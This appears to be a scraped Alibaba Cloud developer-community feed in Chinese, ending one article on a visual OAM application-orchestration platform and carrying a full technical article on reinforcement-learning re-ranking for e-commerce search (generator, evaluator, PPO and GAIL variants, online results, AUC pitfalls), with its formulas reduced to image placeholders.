                  最后一个概念是一组应用运维特征(Traits),它们描述了应用在具体部署环境中的运维特征,比如应用的水平扩展的策略和 Ingress 规则,这些特征对于应用的运维来说非常重要,但它们在不同的部署环境里却往往有着截然不同的实现方式。 举一个简单的例子,同样是 Ingress,它在公有云上和本地数据中心的实现可能完全不同:前者一般是 SLB 这样的云服务,而后者则可能是一个专门的硬件。这也就意味着针对这两个环境的 Ingress 运维工作,将会有天壤之别。 但与此同时,无论是在哪个环境里,这个 Ingress 规则对于应用开发人员来说,可能是完全相同的。

                  应用特征的设计,让这种关注点分离成为可能:只要这两个环境在 OAM 模型下提供了对 Ingress 这个应用运维特征的实现,那么应用就可以使用统一的 Ingress 规则描述,无差别地在这两个地方运行起来。与此同时,这两个环境的基础设施供应商可以继续通过配置这些应用特征的实现,来满足它们各自的运维要求(例如:不同环境里 Ingress 实现在满足合规性和安全性上的差异)。

                  一个基于 OAM 的可视化实现介绍

                  目前该平台主要基于 OAM 的 V1 alpha1 版本实现,并且对于 OAM 的核心理念进行的抽象和封装,以更符合用户的使用习惯。在本文介绍的可视化部分背后,是完整的 OAM 格式的 yaml 文件。可视化 OAM 平台主要包含两大核心功能: 

                  1. 运维特征模型

                  运维特征模型主要是针对 OAM 的 Traits 的具体实例化,让用户可以把复杂的一些运维特性可以直接以插拔的形式直接让应用发布者去使用。目前平台已经封装了包含服务发布、日志搜集、自动伸缩、存储挂载等 8 个运维特征的封装。

                  1.png
                  图 1 运维特征模型仓库

                  2. OAM 应用编排

                  OAM 应用编排功能将 OAM 的应用发布全流程进行了可视化的实现,将应用组件添加、配置文件修改以及运维特征添加等 OAM 的核心功能进行了抽象和封装。OAM 应用编排目前包含以下核心功能:

                  • 组件编排: 可视化添加平台的组件并且进行组件的参数设置;
                  • 运行特征编排:在添加的平台组件基础上进行运维特征的添加和编排(也为后续开发、运维关注点分离做准备);
                  • OAM 版本管理:平台会保存所有的 OAM 发布版本,并且提供升级和回滚功能。

                  2.png
                  图 2 OAM 应用编排主界面

                  接下来,我们会以一个典型应用(nginx+tomcat+redis)的部署来全面解析,如何在平台上进行 OAM 的可视化发布。

                  前置条件

                  运维特征(Traints)应用模型已安装,在界面上,可以快速查看有哪些运维特征应用模型,以及它们的运行状态。当前只支持系统定义的运维特征,后续会开发自定义的运维特征的生命周期管理。让用户可以编写自己的运维特征并且安装到平台进行使用。

                  3.png

                  OAM 应用创建流程

                  OAM 应用基本发布流程:应用创建->新增组件->应用编排->保存版本->发布应用。

                  • 创建应用: 点击应用->OAM 应用菜单, 点击【创建应用】按钮,输入必填项;
                  • 添加组件: 点击【新增组件】按钮,设置工作负载类型,容器配置等;

                  选择想要创建的工作负载类型,目前已经将 Server、Singleton Server、Task、Singleton Task、Worker 以及 Singleton Worker 等六种核心的工作负载进行了封装,用户只需要在下拉框中勾选自己想要创建的负载类型即可。

                  4.png

                  在选择完负载类型之后,用户可以以可视化的形式去选择想要发布的镜像以及容器的基本配置参数。同时,目前也支持基于多个容器的编排发布。

                  5.png

                  • 根据我们的需求,我们依次添加 tomcat、redis、mysql 三个组件,在界面上就可以看到组件的状态,同时点击“详情”可以看到对应的 Kubernetes 资源信息;

                  6.png

                  查看组件的详细信息。

                  7.png

                  • 应用编排:在创建完需要部署的组件之后,我们的 OAM 应用已经具备了开发的属性。

                  之后我们需要根据需求给每一个组件添加运维特征:点击进入应用编排界面,你可以看到刚才添加的组件已经展示在画布之上;在画布上点击单个组件,可以看到目前适合该组件的运维特征,勾选你所需要的运维特征即可快速添加;在添加完运维特征之后,会在右边栏弹出运维特征的配置参数,配置保存之后这些运维特征即可生效;

                  8.png

                  • 在添加完所有组件的运维特征之后,我们就可以看到一个完整的编排完的 OAM 应用了。在 OAM 的 V2 版本,我们同时会再增加应用的依赖关系,用户可以通过拖拽和连线来实现应用之间的依赖编排;

                  9.png

                  • 保存版本:最后,我们可以点击【保存当前内容为版本】按钮,输入版本号,点击【确定】;

                  10.png

                  • 发布应用:点击【发布】按钮,发布应用

                  发布应用后,组件状态显示‘已实例化’。应用实例状态显示“健康”。

                  11.png

                  点击事件 tab 页,显示事件。

                  12.png

                  用户可以快速查看已经创建的 ingress,并且进行访问。

                  13.png
                  14.png

                  • 用户可以通过修改 traints 信息,快速对当前的应用进行修改和升级。

                  点击进入应用编排界面,并且编辑 tomcat 实例数为 4。

                  15.png

                  将编辑后的版本,保存为当前版本则会直接讲修改的配置更新到当前实例。如果选择保存为新版本,则会将当前配置修改保存为模板,等待发布。我们将此修改保存为新版本。

                  16.png

                  点击更新为此版本,进行刚才修改的配置发布。发布完成之后,我们可以看到有两个版本的 OAM 应用模板。

                  17.png
                  18.png

                  查看详情,确认 tomcat 实例数已经变更为 4,但是由于我们同时设置了自动扩缩容的实例为 3,因此在扩容之后又迅速变回实例 3。

                  19.png

                  至此,一个完整的部署和更新 OAM 应用的可视化流程就演示完了。

                  总结

                  如今 OAM Spec 已经迭代到了 v1alpha2 版本,新版本在坚持 OAM Spec 平台无关的基础上,整体变得更 Kubernetes 友好化,很大程度上平衡了标准与可扩展性,更好的支持已有的 CRD。也就是说,如果你已经编写了现成的 CRD Operator,可以平滑的接入到 OAM 体系中,并且享受到 OAM 模型的红利。

                  更详细的新版本介绍可以阅读OAM v1alpha2 新版发布:平衡标准与可扩展性,灵活接入 CRD operator

                  该可视化平台也已经在全面升级到 v1alpha2 的过程中,新版的支持可以更好的允许用户编写插件扩充平台的功能。

                  该平台来自于阿里云战略合作伙伴杭州谐云科技,该平台基于 OAM 实现的开源版本也已经在路上,大家敬请期待。

                  目前,OAM 规范和模型实际已解决许多现有问题,但它的路程才刚刚开始。OAM 是一个中立的开源项目,我们欢迎更多的人参与其中,共同定义云原生应用交付的未来。参与方式:

                  • 钉钉扫码进入 OAM 项目中文讨论群

                  二维码.png

                  杭州谐云科技有限公司成立于 2016 年 7 月,公司核心团队来自于浙江大学 SEL 实验室,谐云团队在云计算及相关领域具备深厚的技术积淀,在全球顶级开源社区 Docker、Kubernetes、Cloud Foundry 等项目贡献累计超过 200 万行代码,排名全球第四,国内第一。团队曾著书中国第一本深度解析容器云的专业书籍《Docker 容器与容器云》,是国内为数不多掌握底层核心技术的容器云提供商。建设了目前中国最大的容器集群落地案例,支撑着国内最大的互联网电视云。

                  课程推荐

                  为了更多开发者能够享受到 Serverless 带来的红利,这一次,我们集结了 10+ 位阿里巴巴 Serverless 领域技术专家,打造出最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

                  点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  脱胎换骨的生成模式:强化学习重排-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

                  商品排序中的重排

                  商品排序的目的,很大一部分是为了让高效的商品获得更好的展示机会,匹配用户的需求。一种主流的思路是,商品对于用户的某次请求来说,是有好坏之分的。而从展示的位置的角度来看,越靠前的商品越能够获得曝光机会上的优势。于是,通过模型对商品打分的思路自然而然的浮现了出来,且似乎只要模型对商品的打分足够准确,AUC 足够高,之后就可以按照这个打分从高到低对商品进行排序!在这套经典的框架中,有一个严重的缺陷,这也是绝大多数重排工作都期望解决的:商品的上下文对结果会产生影响。考虑重排之前的模型,由于候选商品集合太大,想要将上下文信息喂进模型十分困难。所以,用重排来解决上下文影响是一个普遍的思路,我们可以看到几乎所有的重排模型都会在对商品打分时考虑上下文。但实际上,对商品进行打分判断是否会产生转化是一个任务,对候选商品进行排序最大化收益又是另外一个任务,这两个任务虽有联系,但却截然不同。如果我们单纯按打分来排序,那么原序将会被打乱,而我们无法从原序 label 还原出新序 label,于是无法断定新序的表现如何。除非我们认定商品的转化行为不会因为上下文发生改变,这显然是存在问题的。

                  image.png

                  无视上下文,模型对商品的打分足够准确吗?

                  我们设计了三个模型进行实验,来展示模型上下文信息刻画程度对打分结果的影响。第一个模型是目前最为常用的 pointwise 打分模型,模型输入为商品的特征和用户的信息,我们简称它为 Simple DNN。第二个是在重排阶段表现稳定良好的线上重排模型 AE rerank,它在 Simple DNN 的基础上,添加了上下文商品的全局统计信息,例如某些特征分的方差、均值、极值等等。第三个模型是我们为了进一步刻画上下文信息而设计的,在 AE rerank 的基础上额外加入了 CNN 和 RNN 模块来捕捉商品序列的信息。模型结构如下图所示:( Simple DNN 不包含蓝色的 CNN、RNN 以及绿色的全局统计特征输入,AE rerank 不包含蓝色的 CNN、RNN)。

                  image.png
                  评估模型结构图

                  我们使用了 5400 万条日常数据作为训练集,将上述三个模型分别训练了 5 个epoches(都已收敛)。接着我们计算了它们在测试集(约 250 万条数据)的表现结果,如下表所示。此处的 AEFS 是精排阶段产生的精排总分的 alias name。表中的数据回答了我们的问题, pointwise 模型 Simple DNN 对商品进行的打分对比带有上下文信息的AE rerank和新模型来说略逊一筹。由此我们能够得出结论,商品打分应当会受到它所处的上下文环境的影响,将上下文信息整合才能预估得更加准确。

                  image.png
                  各评估模型表现(序列内判断能力)

                  无视序的改变,按照原序上的打分排序足够靠谱吗?

                  首先,我们假定模型输出均在拟合考虑上下文的前提下当前商品被购买的概率image.png,且定义排序结果L的好坏为其能够产生的期望购买数image.png,即image.pngNowa:

                  image.png

                  该公式对于完整考虑上下文的新模型来说是适用的。但是对于前两种模型 Simple DNN 和 AE rerank 来说,即使将商品随机打乱,它们对于每个商品的打分或者说是预估的概率image.png是不变的,因此直接相加来作为商品序列的打分一定是失准的。大致地,我们以类似 DCG 的方式,每个商品的预估概率乘以位置折扣的和作为排序结果打分,就能够自然地避免上述情况发生,如下所示:

                  image.png

                  我们通过实验测试了该方法判断 PV 的好坏对于 Simple DNN 和 AE rerank 来说是否有效。实验分为分别对点击转化和成交转换进行了测试,在理想情况下,好的模型应当能够更准确地判断两个排序中,哪一个更可能产生点击行为,或是哪一个更可能产生成交行为。排除了 label 相同的排序对之后,结果如下表所示:

                  image.png
                  各评估模型表现(序列整体判断能力)

                  从上面的测试数据中可以看出,所有的模型都能大致区分出序列的好坏。从image.png的定义来看,直接按照商品的打分从高到低进行排序,确实是在评估下最好的序列。然而,这样产生的排序结果是否真的有效,在评估能力最强的新模型视角来看,结论是否一致?于是,我们把这些新生成的“最好的”序列以及数据的原始序列一起送到新模型进行评估,如下表所示。每个值表示新生成序列中有多少比例是比原始序列要更好的。

                  image.png
                  按模型打分排序表现

                  新模型认为直接按照打分高低排序的策略,最高也只有 66% 左右的比例能够比原序列更好,对于直接按照精排总分 AEFS 排序更是比原序列差得多(这是因为离线数据中的大部分原序列都是经过 AE rerank 模型生成的)。通过这个结果我们认定,直接按照商品打分的高低来排序很可能并不是最优的方法。

                  那么,不能直接通过打分排序,我们又该如何去寻找最优的序列呢?最直接的办法是通过枚举所有可能的序列结果,让新模型对它们逐个进行打分,再把最好的排序挑选出来作为最终结果。但由于线上算力远远不足以让我们暴力枚举,所以我们需要对枚举的集合进行优化。启发式贪心搜索 beam search 可以作为一种解决方案,在探索过程中裁剪掉较大部分无用状态。该方法需要在精度和速度之间有一个权衡,通常在保证一定精度的条件下,很难达到令人满意的速度。在我们的工作中,我们希望能够用更直接了当的方式,一步到位地生成序列。

                  商品序列生成器

                  商品序列生成器是一个生成序列的模型,它的输入是 个候选商品,输出为带顺序的image.png个商品。使用 pointer network 是一个自然的想法,它需要迭代 步,在每一步中根据当前状态,挑选一个商品,最终得到了 个商品的排序。我们在 pointer network 的基础上设计了网络结构,最终设计的模型如下所示:

                  image.png
                  生成模型结构图

                  image.png

                  这样设计的模型有两个方面的好处。第一个是它不需要具体限定 和 的值,模型的参数与 的值无关,当模型训练或预测时都可以根据需要随意设置 和 的值。第二点是经过我们改造后,原来具有两个 LSTM 的 pointer network 结构变成了现在的一个,其余全部用 DNN 来代替,不仅实现简单,预测所需时间也减少了一半(线上的 cpu 环境运行 LSTM 较慢 )。

                  有了生成模型之后,我们希望它可以生成能让新模型打分非常好的排序,如此就能够有大概率比传统的方式做得更好。传统的方法可以通过原序 label 来监督学习,但由于改变排序有可能会改变 label,通过监督学习方法来做完成这个任务是不够完美的。一个替代方法是我们可以通过随机的方式抽样一些候选序列,然后由新模型打分来选出最好的序列作为监督学习的目标;也可以通过生成一些备选序列之后取出评估模型认为最好的序列作为结果。在我们的工作中,我们使用了强化学习的方式联系起生成和评估两个环节。

                  强化学习之路

                  算法设计

                  在本节中,将上文中生成排列的模型称为生成器,评估排列的模型称为评估器,回顾评估器的计算方式:

                  image.png

                  因为评估器在对序列的期望成交行为数进行预估,如果我们把这个结果看作强化学习中的奖励,似乎就自然地将生成器和评估器串联起来了!在生成器训练的过程中,每一次选择商品都可以得到评估器发出的奖励信号,最终只需要将整条轨迹得到的总奖励最大化即可。

                  然而,这里还存在一个问题, image.png是利用上下文的信息计算出来的,但每一步选择商品的时候我们并不知道后面的商品是如何排序的。因此,我们需要对image.png进行简化修改,让它只依赖于image.png之前已选出的商品,与后面的排序结果无关。换句话说,即为假设用户是从上往下浏览商品的,他对当前商品的购买概率只取决于前面浏览过的商品序列而与后面商品的排列无关。具体在之前评估器的修改就是将 CNN 模块去掉。

                  将评估器模型简化后,要做强化学习的几大要素都已经具备了。商品生成器就是一个待训练的agent,它会根据当前的状态,做出它认为好的动作,然后收到评估器给予的奖励,接着它会转移到下一个状态,继续做动作拿奖励。这样可以得到 N个image.png 三元组,具体的定义如下:

                  • 每一步的状态 image.png:之前已经排好的商品序列和剩余候选的商品集合
                  • 每一步的动作image.png:候选集中剩余的某一个商品,为选哪个商品的离散动作
                  • 每一步的奖励image.png:在考虑上文的前提下,评估器预测的image.png被购买的概率image.png
                  • 轨迹长度为image.png,衰减系数image.png

                  我们主要是考虑用 policy-based 类的方法来对上述生成器模型进行优化。没有使用 value-based 方法的原因,是我们在实验中发现,在这个问题下要准确的预估出 V 值或者 Q 值可能是一件困难的事情。

                  请注意,强化学习要让总回报最大,也是让每一步的总回报最大,而每一步的总回报是从当前商品一直到最后的第 N 个商品所得到的奖励之和,它被称为Q值,定义如下:

                  image.png

                  那么我们从最基本的算法开始, reinforce 算法,损失函数为 :

                  image.png

                  这个较为简洁的模型实验的结果并不理想,我们很容易发现其中的一点:如果一些优质的候选,模型在其中无论怎么行动总回报都很高,另外还有一些劣质的候选集,无论怎么行动总回报都很低,那么模型就很难找到有用的信息进行优化。因此,我们可以考虑对 reward 进行修改,比如减掉候选集的均值,甚至再减去均值的变化量除以均值(变化率),以达到能够判断行动好坏的目的。

                  均值的计算,一种方法是可以直接使用原序列在评估器中的打分。这里再补充解释一下我们的训练数据。比如在实验中,我们主要关注的是 30 排 17,那么我们就把线上对每个 query 真实展示的前 30 个商品捞回来作为我们训练数据的候选集,生成器就从这 30 个中选出 17 个商品。我们可以知道这 30 个候选商品的前 17 个商品就是线上真实展现的序列。因此,原序列可以拿到在评估器中的打分image.png,它和上述的image.png维度相同,都表达的是每一步的总回报或者说是 Q 值。因此,我们上述的 reinforce 算法的损失函数就可以改造为:

                  image.png

                  简称 reinforce_2 算法。当然上述算法还可以继续加以改造:

                  image.png

                  简称为 reinforce_3 算法(上述的除法可能会发生除 0 异常,全部 clip 在 -10 到 10 之中)。

                  对强化学习比较了解的读者可能会产生一个想法,就是均值可以通过 actor-critic 的方法来估计。这就是即将要说的第二种估计均值的方法,本文我们使用了性能强大的 PPO 算法,这样就可以用 critic 来估计image.png值,也能算出优势函数的image.png值来更新策略。然而这里隐藏了一个大问题:如何设计网络来估计image.png值?

                  image.png值是从当前的状态开始,使用当前的策略,平均能拿到多少总奖励的数值。当前的状态是当前排好的商品和剩余候选的商品,我们需要在保持之前模型的优良性质(即候选商品集的数量是可变的)的同时,预测出准确的 值。因此,我们采用与之前模型结构类似的设计,即对剩余候选的商品打分,然后把分数都加起来,模型结构如下所示:

                  image.png
                  V 值估计模型图

                  该算法的效果和 reinforce_3 算法相差不多。我们认为 ppo 算法表现不佳,是由于 值较难估计,所以能不能保留 ppo 中的 actor 更新方式,而把 critic 模块进行改变?这里就要说到估计均值的第三种方法,蒙特卡洛采样。为了实现方便和高效,我们也对原始的蒙特卡洛采样做了一些改进。

                  image.png
                  V 值采样图示

                  对于每一份数据或者说是每一组候选商品集,我们都让模型就根据它当前自身的参数采样生成多个排列,那么这些排列在评估器中得到的总奖励的均值就可以近似认为是当前策略下的image.png值了,我们将之称为 PPO_MC 算法,损失函数定义如下(image.png的维度是image.png,如果 std(R) = 0,则将其置为 1):

                  image.png

                  至此,我们一共提到了 5 种强化学习算法,从 reinforce 算法一直 PPO 算法及其改进版本,它们的训练效果如下图所示。为了增加算法的探索能力,这 5 种算法都在 loss 中加入了相同的 entropy 奖励。左边这幅图表示模型输出动作概率的 entropy 变化情况,越低表示越收敛。右图表示在测试集中模型生成的排列有多大的比例比原始排列在评估器中的总得分更好,我们称这个百分数为优势占比或 better percent,简称 BP,在 Lazada 重排又被称为替换率。在我们的观点中,强化学习训练时不看 loss,而看 entropy 和总回报。

                  image.png
                  强化学习算法表现对比(左:熵;右:成交 BP)

                  从左边的 entropy 对比图中可以看出,我们的 PPO_MC 算法是收敛的最快最好;而从右边的 BP 对比图中可以看出,同样是我们的 PPO_MC 模型可以达到最好的效果。原版的 PPO 模型不仅在 entropy 上难以收敛,而且生成的序列也仅仅只是比原始序列好一些,反而不如 reinforce_3 算法收敛的效果好。

                  我们也可以更通俗一些来看 PPO_MC 算法,它在训练之前会通过采样来得到多条表现不一的序列,然后更新模型时就可以更加倾向于表现好的序列。这个算法其实也是有改进空间的,可以从上面的训练图中看出,前期 entropy 的收敛是非常快的,也可以想象模型在前期时,随机性很大,采样得到的序列多种多样,很容易找到有用的梯度更新方向。然而模型在后期 entropy 已经变得很小或者基本收敛了,采样得到的序列基本都差不多,也难以进行有用的更新了,可以说是这个时候的采样是对算力的巨大浪费,做了很多无用功。那么这个采样一定是需要按照它当前的模型参数来采样吗?其实未必。说明一下,这里的采样是为了算均值,与算法是 on-policy 还是 off-policy 是没有任何关系的,更新模型还是按照原来的算法逻辑。原则上来说,我们是需要一个多样性丰富,并且表现能够比当前的策略稍好一些的采样策略。随机采样肯定是不行,因为它采出来的序列可能都很差。如何去得到更好的采样策略呢?这也是强化学习圈子中非常热门的研究范畴,就留给各位看官们来发挥聪明才智了。

                  两组实现细节对比

                  数据的组织由于离线训练数据的保留机制,如果用户只浏览过第一页,那么我们只能拿到第一页的 20 个商品,只有当用户浏览到第二页时,我们才能拿到前两页的 40 个商品。这两种数据(只有第一页、有前两页)的分布是有显著差异的,前者是用户只在第一页点击或者购买,可能是这个序列已经比较好了,后者是用户在一直浏览到了第二页,有可能是 top 20 的序列很差造成的。那么,我们应当如何权衡数据的质量和数量呢?

                  我们做了三个测试模型,一个是用包含 17 个候选商品的数据来训练模型;另一个是用 30 个商品的数据训练;最后一个是同时用这两份数据训练(这两份数据都是在 160 万条左右)。最后,由于我们的模型上线时要考虑到耗时问题,只排第一页的 17 个商品,因此我们让这三个测试模型分别在 17 排 17, 30 排 17, 50 排 17,100 排 17 这四个环境中进行测试,与原序列对比,观察它们生成的新序列从我们的评估器看来是不是更好的。如下表所示。

                  image.png
                  数据的影响

                  从上表的数据中可以看出,在两个训练数据集的大小差不多以及训练时间差不多的情况下,用第一页的数据集训练效果稍微好一些,当然差距也不是很大。从节约计算和存储资源的角度来看,还是直接用第一页的数据更为方便。并且通过上表,我们可以发现候选商品集合越大越好,只要耗时能接受。考虑到我们的模型耗时就相当于是普通打分排序耗时的image.png倍,对于image.png较小的情况也能够快速预测,但对于上百上千数量级的商品,可能就难以接受了。

                  目标的改变在以上的内容中,我们的优化目标都是最大化期望购买数,而我们能够通过修改 reward 的定义,达到优化其他目标的效果。举例子来说,一个模型如果想要提升总体 GMV,在过去方法大致可以归为以下几类:

                  1)模型目标不变,在转化率的打分上乘上价格因子,近似于期望 GMV。这类方法通常会对排序结果有一个较大的改变,有明显的提价效果,但线上效果相对不稳定。

                  2)模型在训练时使用价格对正样本加权或改 loss。这类方法对排序结果的影响不大,在某些情况下可能能够提升一定的单价,但通常不显著。

                  3)将部分非成交(如加购)样本当作成交样本进行训练。以加购样本为例,从 AE 的统计数据来看,这些商品的价格的平均值数倍高于成交样本。这是一种在成交样本中自然添加一定置信度高价样本的数据增强方法我们能够看出,以上的几类方法都是在间接地提升 GMV,而强化学习模型的一个强大之处就在于我们几乎能够直接对 GMV 建模。我们可以将 reward 修改为:

                  image.png

                  其中, image.png表示第image.png个商品的价格。在实际的训练中,我们并不使用商品的原始价格作为image.png,而是使用它在这个商品候选集中价格分位数。通过对价格进行此变化,能够防止商品间的因价格差异过大而产生不良反应,但也丢失了商品价格的一部分原始信息。如何更好地将价格因素包容进模型,也是一个未来需要更精细考虑的问题。我们把考虑期望成交数的模型称为 PAY 版本,考虑期望 GMV 的模型称为 GMV 版本,以及一种是两者加权融合的 PAY_GMV 版本,优化目标变为:

                  image.png

                  上式中的mage.png是一个可以调的系数。在离线评估的情况下,三种模型的训练效果如下所示。

                  image.png
                  目标的影响(左:熵;中:成交视角 BP;右:GMV 视角 BP)

                  图中的模型都是用 30 个商品候选集的数据来进行训练得到的,其中的 PAY_GMV 版本的image.png。意料之中,PAY 版本在成交转化上占据优势,GMV 版本在 GMV 上占据优势,PAY_GMV 版本则是会得到一个两者均衡的结果。

                  线上部署与真实效果

                  离线评测终究还是存在偏差的,为了证实生成器模型能够确实地提升线上效果,我们将模型通过定时调度的策略,每天进行训练和模型重新上传。模型训练时,会收集最近两周所有 bts 实验桶的离线数据,使用它们训练评估器的 5 个小时,而后再训练生成器,并且在 6 个小时后发布训练好的新生成器模型。评估器采用的是增量训练的模式,而生成器模型为了避免失去探索能力,会每次重新初始化训练。

                  线上实验方面,我们首次取得线上正向效果是在国庆节。当时上线的是 GMV 版本的强化学习重排模型,对比基准桶取得了较好的单价提升效果。在线上实验中,我们发现这个 GMV 版本的模型会带来转化率的亏损。所以,为了平衡 uv 转化率和 uv 价值,在国庆节后上线了 PAY_GMV 版本的强化学习重排模型,使得 uv 转化率和 uv 价值这两个指标都取得了提升。值得一提的是,该版本的模型带来一定的单价和转化率置换,损失了部分单价,提升了一定转化率,使总体 GMV 受益。

                  image.png
                  线上日常表现

                  在双十一大促前,用户对高价的商品的购买欲望锐减,更倾向于观望和加购。因此,我们把加购样本和成交样本全部当作成交样本来给评估器进行训练,接着再利用这个评估器来训练生成器模型。在这里我们是希望加购商品的数量越多越好,并且又由于用户更倾向于低价的商品,于是我们是使用上述 PAY 版的生成器模型。在大促前 5 天,对比基准桶,我们模型的收藏加购率提升约 12.4 %,而在不带强化学习的实验桶中,最高的加购率仅在 11.5% 左右,有 1% 左右的 gap。双十一首日,带有强化学习重排模型的桶表现最为突出,成交金额提升 6.81%。在双十一次日中,强化学习重排模型的表现略微下降,成交金额提升 5.65%。相对于实时重排桶(仅重排不同,实时重排为 AE rerank 的实时版本),也有超过 1% 的总体 GMV 提升。

                  阶段总结与未来展望

                  在过去的五个月中,我们成功地将强化学习重排模型从无到有地搭建了出来,并且经过了双十一考验,展示了它的灵活性、可行性和巨大潜力。本节中,我们将展望重排的未来之路。

                  GAIL 强化学习重排

                  目前来说,我们重排模型的训练完全依赖于评估器,它的准确与否决定了生成器的好坏,而我们的评估器又只是由少量的数据训练得到的(相比于整个空间来说)。因此,我们猜测评估器在训练数据附近的分布中是比较可信的,而在与之差别较大的分布中或许是不太可信的。那么,能不能让生成器产生的序列不仅好而且还要尽可能落在训练数据的分布中呢?于是,我们借助了 GAIL 的思想,生成器不仅要接收之前训练好的评估器给的奖励,还要接受同时训练的判别器给的奖励。这里,判别器的目标就是给生成的序列打出尽可能低的分数,而给原始序列打出尽可能高的分数。训练的结果如下图所示。

                  image.png
                  GAIL 强化学习重排表现(左:熵;中:成交 BP;右:判别器 AUC)

                  蓝线是之前 PAY 版本的强化学习重排模型,可以在第二幅图中看到它在成交优势占比的指标中是最高的,生成的序列有接近 90% 从评估器看来打分更高,而在右图中判别器也能够以非常高的准确率将其与原始序列分辨出来。橙线是只用判别器来训练生成器,就是原版 GAIL 的过程,目标就是让生成的序列与原始的序列差不多。不难发现,在第二幅图中,它生成的序列在评估器中的打分不高。绿线就是上述说的两者兼顾的版本,生成的序列既要在评估器中的打分更高,也要在判别器中的打分更高。

                  从上面第一幅图中可以发现,带有判别器的两个模型 entropy 都收敛得很低,这是因为我们在其中加入了随机探索的策略。具体来说,之前每一步是按照策略预估的概率来选择一个候选商品,而这两个模型中是会有 0.2 的概率随机挑选一个候选商品。实验发现,这种简单的探索策略有助于 GAIL 的训练。

                  由 11 月 25 日至 11 月 27 日 3 天的线上结果来看,GAIL 重排对比原重排平均能够提升单量 3.22%,成交总额 3.81%,是个很不错的提升。

                  和 AUC 的爱恨情仇

                  相信读者对 AUC 这一指标再熟悉不过了:它是一个刻画了商品打分与商品 label 的方向一致性的指标。我们在离线的环境下,想要评价一个排序模型的好坏时,几乎都会考虑使用 AUC 进行判定,因为 AUC 的值表达的是面对不同 label 的商品对时,我们将 label 更好的商品打上更高的分的频率,这和我们对商品排序的目标直觉上来说是一致的。一个高 AUC 的模型意味着它能更好地判断出商品之间的好坏关系,所以我们通过不断地优化 AUC,来探索更好的模型。然而,当我们将视线转移到线上的真实表现时,尽管在通常情况下,能够提升 AUC 的模型能够带来一定的转化率提升,但我们会发现 UV 转化率和 AUC 的正向关系并没有那么大。在半年前,我们发现了这一现象的极端体现:一个大幅提升离线 AUC 的模型,它大幅降低了在线 AUC,且大幅提升了线上真实的UV转化率。我们称该现象为排序测不准原理。那么,使用 AUC 进行评估究竟有何风险?

                  1)离线 AUC 与线上 UV 转化率并无直接关联。我们通过 AUC 来联系线上 UV 转化率的基点,是上下文对 label 的影响不大,以及 position bias 对行为产生的损伤是越单调递增的这两点,而它们实际都是不精确的。

                  2)模型上线改变排序结果后,展示序列分布发生变化,原评估结果失效。我们可以用 AUC 来评价一个评估模型,但是对于生成模型来说,它会改变原序上的 label,我们不能够通过原序 label 来判断它的表现。

                  3)在线 AUC 的问题更为严重。本质上来说,在线 AUC 不存在可比性。这里我们举一个真实的例子:在这半年里,我们曾有一个桶的策略降低了 10% 的线上 uv 转化率,但是从在线 AUC 来看,它在首页 GAUC 上涨了 1% 以上,而这一个点的提升是通过大多数正常途径的优化很难达到的!这个现象产生的原因,是重排的上游模型产出出现了问题,极大稀释了重排候选集合中优质商品的占比。

                  试想一个更为夸张的情况,当一页 20 个商品中的后 10个 商品很糟糕,永远不会发生成交时,有一半的 pair 就变成了送分题,从而造成了 GAUC 的虚高。透过这个现象,我们找到了一个能够急剧增大 GAUC 的模型:它将最可能成交的商品放在首位,然后放一堆最无关的商品。这个模型在理想情况下,GAUC 应当为 1,在正常情况下也至少能够大幅提升 GAUC,想要提升 GAUC 的同学可以尝试一下,副作用是 UV 转化或许会跌 90% 左右。被利用的核心漏洞是在不产生成交的情况下,无论排成什么鬼样子,都不会对 GAUC 的值产生影响。所以,线上的所有实验可能都有着不同的商品排序分布,除了一个模型大致的水位之外,我们无法通过对比在线 AUC 获得相当精细的信息。发现以上问题之后,我们可能渐渐想要放弃 AUC 这一指标,但仔细一想,好像又没有其他的指标能够直接代替它。而我们在最初发现 AUC 的潜在问题时,就希望能够找到另一个使用简易、表现精确、线上线下一致的新指标。强化学习框架中的评估器,就有能力作为这样的指标。在我们混合转化率和 GMV 优化目标的模型中,指标显示我们生成的序列在评估器看来占了压倒性的优势,但 GAUC 仅在 0.5 左右,而正是这样一个 GAUC 0.5 的模型,在线上取得了双向的显著提升,这证明了 AUC 在某些情况下是缺乏判别能力的。

                  image.png
                  强化学习重排 AUC、BP 对比

                  World Model:序列评估器

                  早在 2016 年的 SIGIR 就被 Thorsten Joachims 提出,而主题 Counterfactual Evaluation and Learning 正是想要消除线上线下不一致性。在他的 tutorial 中,给出了一些简单的由于系统 selection bias 造成的预测不准确的问题的解决方案,主要还是在针对如何 model 这个 bias 展开的 。其中的一个方法,被称为 Model the world,是通过用模拟拟合线上真实 reward 来达到 unbias 的目的,这和我们强化学习中使用的序列评估器是一致的。通过一段时间的线上测试,我们能够相信强化学习环境使用的评估器是具有较好的能力的,否则生成器模型是难以得到线上提升的。所以我们认为,序列评估器可以作为一种有一定判别能力的离线评估手段。
                  image.png
                  新老离线评估对比

                  实时强化学习模型

                  在我们这一阶段的工作中,我们对生成器的研究探索更多,而评估模型只是一个相对令人满意的版本。在后续的工作里,一个直接思路就是让我们的评估器的评估能力更强。评估器在训练数据包含的已知空间中能够取得一个比较好的 AUC,但是对相对未知的空间,我们也无法得知它的表现究竟如何。上面提到的 GAIL 强化学习模型是一种方法,让生成器的产出在已知空间附近。另一种更加主动的方法,是去探索这些未知区域。但我们也不需要太过严格地去探索整个空间,而是探索评估器认为比较好的区域就足够了,因为这一部分更接近我们想要展示的序列。达到这一目标的方法,可以是在离线的环境中训练出能够最大化序列评估器打分的序列生成器,然后将它上线。这样一来,序列评估器的训练数据中就会增加原本它认为的高分区域,从而得到学习。然而,由于我们目前的版本是离线训练的,那么当它接收到信号的时候,已经是一到两天之后了。所以,让它更加精确的方法,可以是让它升级成为一个实时版本,这样它就能够做到快速地自我进化。一旦评估器变得更加准确,生成器也将收获更好的效果。另一个思路,是完全放弃评估器,和线上真实的环境进行交互,不过以我们现有的经验来看,在这个框架下生成器难以得到良好的训练。

                  ]]>
